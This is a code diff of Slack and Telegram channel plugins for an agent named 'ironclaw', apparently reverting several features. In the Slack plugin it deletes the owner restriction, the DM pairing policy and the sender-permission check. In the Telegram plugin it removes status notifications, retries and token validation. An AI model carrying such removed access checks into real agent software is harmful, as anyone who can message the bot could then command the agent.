let body = serde_json::to_vec(&value).unwrap_or_default();
let headers = serde_json::json!({"Content-Type": "application/json"});
+1 -18
View File
@@ -2,20 +2,6 @@
"type": "channel",
"name": "slack",
"description": "Slack Events API channel for receiving and responding to Slack messages",
"setup": {
"required_secrets": [
{
"name": "slack_bot_token",
"prompt": "Enter your Slack Bot OAuth Token (xoxb-...)",
"optional": false
},
{
"name": "slack_signing_secret",
"prompt": "Enter your Slack Signing Secret (from App Credentials)",
"optional": false
}
]
},
"capabilities": {
"http": {
"allowlist": [
@@ -47,9 +33,6 @@
}
},
"config": {
"signing_secret_name": "slack_signing_secret",
"owner_id": null,
"dm_policy": "pairing",
"allow_from": []
"signing_secret_name": "slack_signing_secret"
}
}
+6 -167
View File
@@ -104,31 +104,15 @@ struct SlackPostMessageResponse {
ts: Option<String>,
}
/// Workspace path for persisting owner_id across WASM callbacks.
const OWNER_ID_PATH: &str = "state/owner_id";
/// Workspace path for persisting dm_policy across WASM callbacks.
const DM_POLICY_PATH: &str = "state/dm_policy";
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
const ALLOW_FROM_PATH: &str = "state/allow_from";
/// Channel name for pairing store (used by pairing host APIs).
const CHANNEL_NAME: &str = "slack";
/// Channel configuration from capabilities file.
#[derive(Debug, Deserialize)]
struct SlackConfig {
/// Name of secret containing signing secret (for verification by host).
/// Parsed from config for forward compatibility; not yet used in WASM
/// (host handles signature verification).
#[serde(default = "default_signing_secret_name")]
#[allow(dead_code)]
signing_secret_name: String,
#[serde(default)]
owner_id: Option<String>,
#[serde(default)]
dm_policy: Option<String>,
#[serde(default)]
allow_from: Option<Vec<String>>,
}
fn default_signing_secret_name() -> String {
@@ -139,30 +123,12 @@ struct SlackChannel;
impl Guest for SlackChannel {
fn on_start(config_json: String) -> Result<ChannelConfig, String> {
let config: SlackConfig = serde_json::from_str(&config_json)
// Parse configuration
let _config: SlackConfig = serde_json::from_str(&config_json)
.map_err(|e| format!("Failed to parse config: {}", e))?;
channel_host::log(channel_host::LogLevel::Info, "Slack channel starting");
// Persist owner_id so subsequent callbacks can read it
if let Some(ref owner_id) = config.owner_id {
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
channel_host::log(
channel_host::LogLevel::Info,
&format!("Owner restriction enabled: user {}", owner_id),
);
} else {
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
}
// Persist dm_policy and allow_from for DM pairing
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
.unwrap_or_else(|_| "[]".to_string());
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
Ok(ChannelConfig {
display_name: "Slack".to_string(),
http_endpoints: vec![HttpEndpointConfig {
@@ -170,7 +136,7 @@ impl Guest for SlackChannel {
methods: vec!["POST".to_string()],
require_secret: true,
}],
poll: None,
poll: None, // Slack uses push via webhooks, no polling needed
})
}
@@ -314,7 +280,7 @@ impl Guest for SlackChannel {
/// Handle a Slack event and emit message if applicable.
fn handle_slack_event(event: SlackEvent, team_id: Option<String>, _event_id: Option<String>) {
match event.event_type.as_str() {
// Direct mention of the bot (always in a channel, not a DM)
// Direct mention of the bot
"app_mention" => {
if let (Some(user), Some(channel), Some(text), Some(ts)) = (
event.user,
@@ -322,10 +288,6 @@ fn handle_slack_event(event: SlackEvent, team_id: Option<String>, _event_id: Opt
event.text,
event.ts.clone(),
) {
// app_mention is always in a channel (not DM)
if !check_sender_permission(&user, &channel, false) {
return;
}
emit_message(user, text, channel, event.thread_ts.or(Some(ts)), team_id);
}
}
@@ -345,9 +307,6 @@ fn handle_slack_event(event: SlackEvent, team_id: Option<String>, _event_id: Opt
) {
// Only process DMs (channel IDs starting with D)
if channel.starts_with('D') {
if !check_sender_permission(&user, &channel, true) {
return;
}
emit_message(user, text, channel, event.thread_ts.or(Some(ts)), team_id);
}
}
@@ -399,126 +358,6 @@ fn emit_message(
});
}
// ============================================================================
// Permission & Pairing
// ============================================================================
/// Check if a sender is permitted. Returns true if allowed.
/// For pairing mode, sends a pairing code DM if denied.
fn check_sender_permission(user_id: &str, channel_id: &str, is_dm: bool) -> bool {
// 1. Owner check (highest priority, applies to all contexts)
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
if let Some(ref owner) = owner_id {
if user_id != owner {
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Dropping message from non-owner user {} (owner: {})",
user_id, owner
),
);
return false;
}
return true;
}
// 2. DM policy (only for DMs when no owner_id)
if !is_dm {
return true; // Channel messages bypass DM policy
}
let dm_policy =
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
if dm_policy == "open" {
return true;
}
// 3. Build merged allow list: config allow_from + pairing store
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
.and_then(|s| serde_json::from_str(&s).ok())
.unwrap_or_default();
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
allowed.extend(store_allowed);
}
// 4. Check sender (Slack events only have user ID, not username)
let is_allowed =
allowed.contains(&"*".to_string()) || allowed.contains(&user_id.to_string());
if is_allowed {
return true;
}
// 5. Not allowed — handle by policy
if dm_policy == "pairing" {
let meta = serde_json::json!({
"user_id": user_id,
"channel_id": channel_id,
})
.to_string();
match channel_host::pairing_upsert_request(CHANNEL_NAME, user_id, &meta) {
Ok(result) => {
channel_host::log(
channel_host::LogLevel::Info,
&format!(
"Pairing request for user {}: code {}",
user_id, result.code
),
);
if result.created {
let _ = send_pairing_reply(channel_id, &result.code);
}
}
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Pairing upsert failed: {}", e),
);
}
}
}
false
}
/// Send a pairing code message via Slack chat.postMessage.
fn send_pairing_reply(channel_id: &str, code: &str) -> Result<(), String> {
let payload = serde_json::json!({
"channel": channel_id,
"text": format!(
"To pair with this bot, run: `ironclaw pairing approve slack {}`",
code
),
});
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
let headers = serde_json::json!({"Content-Type": "application/json"});
let result = channel_host::http_request(
"POST",
"https://slack.com/api/chat.postMessage",
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
Ok(response) if response.status == 200 => Ok(()),
Ok(response) => {
let body_str = String::from_utf8_lossy(&response.body);
Err(format!(
"Slack API error: {} - {}",
response.status, body_str
))
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
}
/// Strip leading bot mention from text.
fn strip_bot_mention(text: &str) -> String {
// Slack mentions look like <@U12345678>
+1
View File
@@ -17,6 +17,7 @@ serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
# Exclude from parent workspace (this is a standalone WASM component)
[workspace]
[profile.release]
# Optimize for size
+175 -586
View File
@@ -244,67 +244,6 @@ struct TelegramConfig {
struct TelegramChannel;
#[derive(Debug, Clone, PartialEq, Eq)]
enum TelegramStatusAction {
Typing,
Notify(String),
}
const TELEGRAM_STATUS_MAX_CHARS: usize = 600;
fn truncate_status_message(input: &str, max_chars: usize) -> String {
let mut iter = input.chars();
let truncated: String = iter.by_ref().take(max_chars).collect();
if iter.next().is_some() {
format!("{}...", truncated)
} else {
truncated
}
}
fn status_message_for_user(update: &StatusUpdate) -> Option<String> {
let message = update.message.trim();
if message.is_empty() {
None
} else {
Some(truncate_status_message(message, TELEGRAM_STATUS_MAX_CHARS))
}
}
fn get_updates_url(offset: i64, timeout_secs: u32) -> String {
format!(
"https://api.telegram.org/bot{{TELEGRAM_BOT_TOKEN}}/getUpdates?offset={}&timeout={}&allowed_updates=[\"message\",\"edited_message\"]",
offset, timeout_secs
)
}
fn classify_status_update(update: &StatusUpdate) -> Option<TelegramStatusAction> {
match update.status {
StatusType::Thinking => Some(TelegramStatusAction::Typing),
StatusType::Done | StatusType::Interrupted => None,
// Tool telemetry can be noisy in chat; keep it as typing-only UX.
StatusType::ToolStarted | StatusType::ToolCompleted | StatusType::ToolResult => None,
StatusType::Status => {
let msg = update.message.trim();
if msg.eq_ignore_ascii_case("Done")
|| msg.eq_ignore_ascii_case("Interrupted")
|| msg.eq_ignore_ascii_case("Awaiting approval")
|| msg.eq_ignore_ascii_case("Rejected")
{
None
} else {
status_message_for_user(update).map(TelegramStatusAction::Notify)
}
}
StatusType::ApprovalNeeded
| StatusType::JobStarted
| StatusType::AuthRequired
| StatusType::AuthCompleted => {
status_message_for_user(update).map(TelegramStatusAction::Notify)
}
}
}
impl Guest for TelegramChannel {
fn on_start(config_json: String) -> Result<ChannelConfig, String> {
channel_host::log(
@@ -373,19 +312,19 @@ impl Guest for TelegramChannel {
"Webhook mode enabled (tunnel configured)",
);
// Register webhook with Telegram API — propagate errors so a bad token
// causes activation to fail rather than silently succeeding.
// Register webhook with Telegram API
if let Some(ref tunnel_url) = config.tunnel_url {
// Clear any stale webhook first to avoid 409 Conflict
let _ = delete_webhook();
channel_host::log(
channel_host::LogLevel::Info,
&format!("Registering webhook: {}/webhook/telegram", tunnel_url),
);
register_webhook(tunnel_url, config.webhook_secret.as_deref())
.map_err(|e| format!("Failed to register webhook: {}", e))?;
if let Err(e) = register_webhook(tunnel_url, config.webhook_secret.as_deref()) {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Failed to register webhook: {}", e),
);
}
}
} else {
channel_host::log(
@@ -393,10 +332,14 @@ impl Guest for TelegramChannel {
"Polling mode enabled (no tunnel configured)",
);
// Delete any existing webhook before polling. Telegram returns success
// when no webhook exists, so any error here (e.g. 401) means a bad token.
delete_webhook()
.map_err(|e| format!("Bot token validation failed: {}", e))?;
// Delete any existing webhook before polling
// Telegram doesn't allow getUpdates while a webhook is active
if let Err(e) = delete_webhook() {
channel_host::log(
channel_host::LogLevel::Warn,
&format!("Failed to delete webhook (may not exist): {}", e),
);
}
}
// Configure polling only if not in webhook mode
@@ -479,36 +422,20 @@ impl Guest for TelegramChannel {
&format!("Polling getUpdates with offset {}", offset),
);
let headers_json = serde_json::json!({}).to_string();
let primary_url = get_updates_url(offset, 30);
// Build getUpdates URL with parameters
// - offset: Identifier of the first update to be returned
// - timeout: Long polling timeout in seconds (Telegram recommends 30+)
// - allowed_updates: Only get message updates
let url = format!(
"https://api.telegram.org/bot{{TELEGRAM_BOT_TOKEN}}/getUpdates?offset={}&timeout=30&allowed_updates=[\"message\",\"edited_message\"]",
offset
);
// 35s HTTP timeout outlives Telegram's 30s server-side long-poll.
// If the TCP connection drops, retry once immediately with a short poll
// so we don't wait a full extra tick (~30s) before delivering updates.
let result = match channel_host::http_request(
"GET",
&primary_url,
&headers_json,
None,
Some(35_000),
) {
Ok(response) => Ok(response),
Err(primary_err) => {
channel_host::log(
channel_host::LogLevel::Warn,
&format!(
"getUpdates request failed ({}), retrying once immediately",
primary_err
),
);
let headers = serde_json::json!({});
let retry_url = get_updates_url(offset, 3);
channel_host::http_request("GET", &retry_url, &headers_json, None, Some(8_000))
.map_err(|retry_err| {
format!("primary error: {}; retry error: {}", primary_err, retry_err)
})
}
};
// 35s HTTP timeout outlives Telegram's 30s server-side long-poll
let result =
channel_host::http_request("GET", &url, &headers.to_string(), None, Some(35_000));
match result {
Ok(response) => {
@@ -589,7 +516,7 @@ impl Guest for TelegramChannel {
let result = send_message(
metadata.chat_id,
&response.content,
Some(metadata.message_id),
metadata.message_id,
Some("Markdown"),
);
@@ -612,7 +539,7 @@ impl Guest for TelegramChannel {
let msg_id = send_message(
metadata.chat_id,
&response.content,
Some(metadata.message_id),
metadata.message_id,
None,
)
.map_err(|e| format!("Plain-text retry also failed: {}", e))?;
@@ -631,10 +558,10 @@ impl Guest for TelegramChannel {
}
fn on_status(update: StatusUpdate) {
let action = match classify_status_update(&update) {
Some(action) => action,
None => return,
};
// Only send typing indicator for Thinking status
if !matches!(update.status, StatusType::Thinking) {
return;
}
// Parse chat_id from metadata
let metadata: TelegramMessageMetadata = match serde_json::from_str(&update.metadata_json) {
@@ -642,68 +569,40 @@ impl Guest for TelegramChannel {
Err(_) => {
channel_host::log(
channel_host::LogLevel::Debug,
"on_status: no valid Telegram metadata, skipping status update",
"on_status: no valid Telegram metadata, skipping typing indicator",
);
return;
}
};
match action {
TelegramStatusAction::Typing => {
// POST /sendChatAction with action "typing"
let payload = serde_json::json!({
"chat_id": metadata.chat_id,
"action": "typing"
});
// POST /sendChatAction with action "typing"
let payload = serde_json::json!({
"chat_id": metadata.chat_id,
"action": "typing"
});
let payload_bytes = match serde_json::to_vec(&payload) {
Ok(b) => b,
Err(_) => return,
};
let payload_bytes = match serde_json::to_vec(&payload) {
Ok(b) => b,
Err(_) => return,
};
let headers = serde_json::json!({
"Content-Type": "application/json"
});
let headers = serde_json::json!({
"Content-Type": "application/json"
});
let result = channel_host::http_request(
"POST",
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendChatAction",
&headers.to_string(),
Some(&payload_bytes),
None,
);
let result = channel_host::http_request(
"POST",
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendChatAction",
&headers.to_string(),
Some(&payload_bytes),
None,
);
if let Err(e) = result {
channel_host::log(
channel_host::LogLevel::Debug,
&format!("sendChatAction failed: {}", e),
);
}
}
TelegramStatusAction::Notify(prompt) => {
// Send user-visible status updates for actionable events.
if let Err(first_err) =
send_message(metadata.chat_id, &prompt, Some(metadata.message_id), None)
{
channel_host::log(
channel_host::LogLevel::Warn,
&format!(
"Failed to send status reply ({}), retrying without reply context",
first_err
),
);
if let Err(retry_err) = send_message(metadata.chat_id, &prompt, None, None) {
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Failed to send status message without reply context: {}",
retry_err
),
);
}
}
}
if let Err(e) = result {
channel_host::log(
channel_host::LogLevel::Debug,
&format!("sendChatAction failed: {}", e),
);
}
}
@@ -744,18 +643,15 @@ impl std::fmt::Display for SendError {
fn send_message(
chat_id: i64,
text: &str,
reply_to_message_id: Option<i64>,
reply_to_message_id: i64,
parse_mode: Option<&str>,
) -> Result<i64, SendError> {
let mut payload = serde_json::json!({
"chat_id": chat_id,
"text": text,
"reply_to_message_id": reply_to_message_id,
});
if let Some(message_id) = reply_to_message_id {
payload["reply_to_message_id"] = serde_json::Value::Number(message_id.into());
}
if let Some(mode) = parse_mode {
payload["parse_mode"] = serde_json::Value::String(mode.to_string());
}
@@ -897,61 +793,36 @@ fn register_webhook(tunnel_url: &str, webhook_secret: Option<&str>) -> Result<()
None,
);
let mut response = match result {
Ok(response) => response,
Err(e) => return Err(format!("HTTP request failed: {}", e)),
};
match result {
Ok(response) => {
if response.status != 200 {
let body_str = String::from_utf8_lossy(&response.body);
return Err(format!("HTTP {}: {}", response.status, body_str));
}
let mut retried = false;
if response.status == 409 {
channel_host::log(
channel_host::LogLevel::Warn,
"409 Conflict -- deleting existing webhook and retrying",
);
let _ = delete_webhook();
retried = true;
// Parse Telegram API response
let api_response: TelegramApiResponse<serde_json::Value> =
serde_json::from_slice(&response.body)
.map_err(|e| format!("Failed to parse response: {}", e))?;
response = match channel_host::http_request(
"POST",
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/setWebhook",
&headers.to_string(),
Some(&body_bytes),
None,
) {
Ok(resp) => resp,
Err(e) => return Err(format!("HTTP request failed (after 409 retry): {}", e)),
};
if !api_response.ok {
return Err(format!(
"Telegram API error: {}",
api_response
.description
.unwrap_or_else(|| "unknown".to_string())
));
}
channel_host::log(
channel_host::LogLevel::Info,
&format!("Webhook registered successfully: {}", webhook_url),
);
Ok(())
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
if response.status != 200 {
let body_str = String::from_utf8_lossy(&response.body);
let context = if retried { " (after 409 retry)" } else { "" };
return Err(format!("HTTP {}{}: {}", response.status, context, body_str));
}
// Parse Telegram API response
let api_response: TelegramApiResponse<serde_json::Value> =
serde_json::from_slice(&response.body)
.map_err(|e| format!("Failed to parse response: {}", e))?;
if !api_response.ok {
let context = if retried { " (after 409 retry)" } else { "" };
return Err(format!(
"Telegram API error{}: {}",
context,
api_response
.description
.unwrap_or_else(|| "unknown".to_string())
));
}
let context = if retried { " (after retry)" } else { "" };
channel_host::log(
channel_host::LogLevel::Info,
&format!("Webhook registered successfully{}: {}", context, webhook_url),
);
Ok(())
}
// ============================================================================
@@ -960,17 +831,40 @@ fn register_webhook(tunnel_url: &str, webhook_secret: Option<&str>) -> Result<()
/// Send a pairing code message to a chat. Used when an unknown user DMs the bot.
fn send_pairing_reply(chat_id: i64, code: &str) -> Result<(), String> {
send_message(
chat_id,
&format!(
let payload = serde_json::json!({
"chat_id": chat_id,
"text": format!(
"To pair with this bot, run: `ironclaw pairing approve telegram {}`",
code
),
"parse_mode": "Markdown",
});
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize payload: {}", e))?;
let headers = serde_json::json!({
"Content-Type": "application/json"
});
let result = channel_host::http_request(
"POST",
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage",
&headers.to_string(),
Some(&payload_bytes),
None,
Some("Markdown"),
)
.map(|_| ())
.map_err(|e| e.to_string())
);
match result {
Ok(response) => {
if response.status != 200 {
let body_str = String::from_utf8_lossy(&response.body);
return Err(format!("HTTP {}: {}", response.status, body_str));
}
Ok(())
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
}
// ============================================================================
@@ -1133,17 +1027,33 @@ fn handle_message(message: TelegramMessage) {
let metadata_json = serde_json::to_string(&metadata).unwrap_or_else(|_| "{}".to_string());
// Clean the message text (strip bot mentions and commands)
let bot_username = channel_host::workspace_read(BOT_USERNAME_PATH).unwrap_or_default();
let content_to_emit = match content_to_emit_for_agent(
let cleaned_text = clean_message_text(
&content,
if bot_username.is_empty() {
None
} else {
Some(bot_username.as_str())
},
) {
Some(value) => value,
None => return,
);
// Determine what to emit to the agent.
// - `/start` (no args): emit a welcome placeholder so the agent greets the user
// - Other bare `/commands` (e.g. /interrupt, /help): pass the raw command through
// so Submission::parse() can handle it
// - Commands with args (e.g. `/start hello`): cleaned_text already has the args
// - Plain text: pass through as-is
let trimmed_content = content.trim();
let content_to_emit = if trimmed_content.eq_ignore_ascii_case("/start") {
"[User started the bot]".to_string()
} else if cleaned_text.is_empty() && trimmed_content.starts_with('/') {
// Bare control command like /interrupt, /stop, /help — pass through raw
trimmed_content.to_string()
} else if cleaned_text.is_empty() {
return;
} else {
cleaned_text
};
// Emit the message to the agent
@@ -1211,31 +1121,6 @@ fn clean_message_text(text: &str, bot_username: Option<&str>) -> String {
result
}
/// Decide which user content should be emitted to the agent loop.
///
/// - `/start` emits a placeholder so the agent can greet the user
/// - bare slash commands are passed through for Submission parsing
/// - empty/mention-only messages are ignored
/// - otherwise cleaned text is emitted
fn content_to_emit_for_agent(content: &str, bot_username: Option<&str>) -> Option<String> {
let cleaned_text = clean_message_text(content, bot_username);
let trimmed_content = content.trim();
if trimmed_content.eq_ignore_ascii_case("/start") {
return Some("[User started the bot]".to_string());
}
if cleaned_text.is_empty() && trimmed_content.starts_with('/') {
return Some(trimmed_content.to_string());
}
if cleaned_text.is_empty() {
return None;
}
Some(cleaned_text)
}
// ============================================================================
// Utilities
// ============================================================================
@@ -1296,126 +1181,62 @@ mod tests {
// Commands with args: command prefix stripped, args returned
assert_eq!(clean_message_text("/start hello", None), "hello");
assert_eq!(clean_message_text("/help me please", None), "me please");
assert_eq!(
clean_message_text("/model claude-opus-4-6", None),
"claude-opus-4-6"
);
assert_eq!(clean_message_text("/model claude-opus-4-6", None), "claude-opus-4-6");
}
/// Tests for the content_to_emit logic in handle_message.
/// Since handle_message uses WASM host calls, test the extracted decision function.
/// Since handle_message uses WASM host calls, we test the decision logic inline.
#[test]
fn test_content_to_emit_logic() {
// Simulates the content_to_emit decision for various inputs.
// This mirrors the logic in handle_message after clean_message_text.
fn resolve_content(content: &str) -> Option<String> {
let cleaned_text = clean_message_text(content, None);
let trimmed_content = content.trim();
if trimmed_content.eq_ignore_ascii_case("/start") {
Some("[User started the bot]".to_string())
} else if cleaned_text.is_empty() && trimmed_content.starts_with('/') {
Some(trimmed_content.to_string())
} else if cleaned_text.is_empty() {
None // would return/skip in handle_message
} else {
Some(cleaned_text)
}
}
// /start → welcome placeholder
assert_eq!(
content_to_emit_for_agent("/start", None),
Some("[User started the bot]".to_string())
);
assert_eq!(
content_to_emit_for_agent("/Start", None),
Some("[User started the bot]".to_string())
);
assert_eq!(
content_to_emit_for_agent(" /start ", None),
Some("[User started the bot]".to_string())
);
assert_eq!(resolve_content("/start"), Some("[User started the bot]".to_string()));
assert_eq!(resolve_content("/Start"), Some("[User started the bot]".to_string()));
assert_eq!(resolve_content(" /start "), Some("[User started the bot]".to_string()));
// /start with args → pass args through
assert_eq!(
content_to_emit_for_agent("/start hello", None),
Some("hello".to_string())
);
assert_eq!(resolve_content("/start hello"), Some("hello".to_string()));
// Control commands → pass through raw so Submission::parse() can match
assert_eq!(
content_to_emit_for_agent("/interrupt", None),
Some("/interrupt".to_string())
);
assert_eq!(
content_to_emit_for_agent("/stop", None),
Some("/stop".to_string())
);
assert_eq!(
content_to_emit_for_agent("/help", None),
Some("/help".to_string())
);
assert_eq!(
content_to_emit_for_agent("/undo", None),
Some("/undo".to_string())
);
assert_eq!(
content_to_emit_for_agent("/redo", None),
Some("/redo".to_string())
);
assert_eq!(
content_to_emit_for_agent("/ping", None),
Some("/ping".to_string())
);
assert_eq!(
content_to_emit_for_agent("/tools", None),
Some("/tools".to_string())
);
assert_eq!(
content_to_emit_for_agent("/compact", None),
Some("/compact".to_string())
);
assert_eq!(
content_to_emit_for_agent("/clear", None),
Some("/clear".to_string())
);
assert_eq!(
content_to_emit_for_agent("/version", None),
Some("/version".to_string())
);
assert_eq!(
content_to_emit_for_agent("/approve", None),
Some("/approve".to_string())
);
assert_eq!(
content_to_emit_for_agent("/always", None),
Some("/always".to_string())
);
assert_eq!(
content_to_emit_for_agent("/deny", None),
Some("/deny".to_string())
);
assert_eq!(
content_to_emit_for_agent("/yes", None),
Some("/yes".to_string())
);
assert_eq!(
content_to_emit_for_agent("/no", None),
Some("/no".to_string())
);
assert_eq!(resolve_content("/interrupt"), Some("/interrupt".to_string()));
assert_eq!(resolve_content("/stop"), Some("/stop".to_string()));
assert_eq!(resolve_content("/help"), Some("/help".to_string()));
assert_eq!(resolve_content("/undo"), Some("/undo".to_string()));
assert_eq!(resolve_content("/redo"), Some("/redo".to_string()));
assert_eq!(resolve_content("/ping"), Some("/ping".to_string()));
assert_eq!(resolve_content("/tools"), Some("/tools".to_string()));
assert_eq!(resolve_content("/compact"), Some("/compact".to_string()));
assert_eq!(resolve_content("/clear"), Some("/clear".to_string()));
assert_eq!(resolve_content("/version"), Some("/version".to_string()));
// Commands with args → cleaned text (command stripped)
assert_eq!(
content_to_emit_for_agent("/help me please", None),
Some("me please".to_string())
);
assert_eq!(resolve_content("/help me please"), Some("me please".to_string()));
// Plain text → pass through
assert_eq!(
content_to_emit_for_agent("hello world", None),
Some("hello world".to_string())
);
assert_eq!(
content_to_emit_for_agent("just text", None),
Some("just text".to_string())
);
assert_eq!(resolve_content("hello world"), Some("hello world".to_string()));
assert_eq!(resolve_content("just text"), Some("just text".to_string()));
// Empty / whitespace → skip (None)
assert_eq!(content_to_emit_for_agent("", None), None);
assert_eq!(content_to_emit_for_agent(" ", None), None);
assert_eq!(resolve_content(""), None);
assert_eq!(resolve_content(" "), None);
// Bare @mention without bot → skip
assert_eq!(content_to_emit_for_agent("@botname", None), None);
// With bot username configured: other mentions are preserved.
assert_eq!(
content_to_emit_for_agent("@alice hello", Some("MyBot")),
Some("@alice hello".to_string())
);
assert_eq!(resolve_content("@botname"), None);
}
#[test]
@@ -1496,236 +1317,4 @@ mod tests {
assert_eq!(msg.text, None);
assert_eq!(msg.caption.as_deref(), Some("What's in this image?"));
}
#[test]
fn test_get_updates_url_includes_offset_and_timeout() {
let url = get_updates_url(444_809_884, 30);
assert!(url.contains("offset=444809884"));
assert!(url.contains("timeout=30"));
assert!(url.contains("allowed_updates=[\"message\",\"edited_message\"]"));
}
#[test]
fn test_classify_status_update_thinking() {
let update = StatusUpdate {
status: StatusType::Thinking,
message: "Thinking...".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Typing)
);
}
#[test]
fn test_classify_status_update_approval_needed() {
let update = StatusUpdate {
status: StatusType::ApprovalNeeded,
message: "Approval needed for tool 'http_request'".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Notify(
"Approval needed for tool 'http_request'".to_string()
))
);
}
#[test]
fn test_classify_status_update_done_ignored() {
let update = StatusUpdate {
status: StatusType::Done,
message: "Done".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_auth_required() {
let update = StatusUpdate {
status: StatusType::AuthRequired,
message: "Authentication required for weather.".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Notify(
"Authentication required for weather.".to_string()
))
);
}
#[test]
fn test_classify_status_update_tool_started_ignored() {
let update = StatusUpdate {
status: StatusType::ToolStarted,
message: "Tool started: http_request".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_tool_completed_ignored() {
let update = StatusUpdate {
status: StatusType::ToolCompleted,
message: "Tool completed: http_request (ok)".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_job_started_notify() {
let update = StatusUpdate {
status: StatusType::JobStarted,
message: "Job started: Daily sync".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Notify(
"Job started: Daily sync".to_string()
))
);
}
#[test]
fn test_classify_status_update_auth_completed_notify() {
let update = StatusUpdate {
status: StatusType::AuthCompleted,
message: "Authentication completed for weather.".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Notify(
"Authentication completed for weather.".to_string()
))
);
}
#[test]
fn test_classify_status_update_tool_result_ignored() {
let update = StatusUpdate {
status: StatusType::ToolResult,
message: "Tool result: http_request ...".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_awaiting_approval_ignored() {
let update = StatusUpdate {
status: StatusType::Status,
message: "Awaiting approval".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_interrupted_ignored() {
let update = StatusUpdate {
status: StatusType::Interrupted,
message: "Interrupted".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_status_done_ignored_case_insensitive() {
let update = StatusUpdate {
status: StatusType::Status,
message: "done".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_status_interrupted_ignored() {
let update = StatusUpdate {
status: StatusType::Status,
message: "interrupted".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_status_rejected_ignored() {
let update = StatusUpdate {
status: StatusType::Status,
message: "Rejected".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(classify_status_update(&update), None);
}
#[test]
fn test_classify_status_update_status_notify() {
let update = StatusUpdate {
status: StatusType::Status,
message: "Context compaction started".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(
classify_status_update(&update),
Some(TelegramStatusAction::Notify(
"Context compaction started".to_string()
))
);
}
#[test]
fn test_status_message_for_user_ignores_blank() {
let update = StatusUpdate {
status: StatusType::AuthRequired,
message: " ".to_string(),
metadata_json: "{}".to_string(),
};
assert_eq!(status_message_for_user(&update), None);
}
#[test]
fn test_truncate_status_message_appends_ellipsis() {
let input = "abcdefghijklmnopqrstuvwxyz";
let output = truncate_status_message(input, 10);
assert_eq!(output, "abcdefghij...");
}
#[test]
fn test_status_message_for_user_truncates_long_input() {
let update = StatusUpdate {
status: StatusType::AuthRequired,
message: "x".repeat(700),
metadata_json: "{}".to_string(),
};
let msg = status_message_for_user(&update).expect("expected message");
assert!(msg.len() <= TELEGRAM_STATUS_MAX_CHARS + 3);
assert!(msg.ends_with("..."));
}
}
@@ -1,54 +1 @@
{
"type": "channel",
"name": "telegram",
"description": "Telegram Bot API channel for receiving and responding to Telegram messages",
"setup": {
"required_secrets": [
{
"name": "telegram_bot_token",
"prompt": "Enter your Telegram Bot API token (from @BotFather)",
"optional": false
}
]
},
"capabilities": {
"http": {
"allowlist": [
{ "host": "api.telegram.org", "path_prefix": "/bot" }
],
"credentials": {
"telegram_bot": {
"secret_name": "telegram_bot_token",
"location": { "type": "url_path", "placeholder": "{TELEGRAM_BOT_TOKEN}" },
"host_patterns": ["api.telegram.org"]
}
},
"rate_limit": {
"requests_per_minute": 30,
"requests_per_hour": 1000
}
},
"secrets": {
"allowed_names": ["telegram_*"]
},
"channel": {
"allowed_paths": ["/webhook/telegram"],
"allow_polling": true,
"min_poll_interval_ms": 30000,
"workspace_prefix": "channels/telegram/",
"emit_rate_limit": {
"messages_per_minute": 100,
"messages_per_hour": 5000
}
}
},
"config": {
"bot_username": null,
"owner_id": null,
"respond_to_all_group_messages": false,
"polling_enabled": false,
"poll_interval_ms": 30000,
"dm_policy": "pairing",
"allow_from": []
}
}
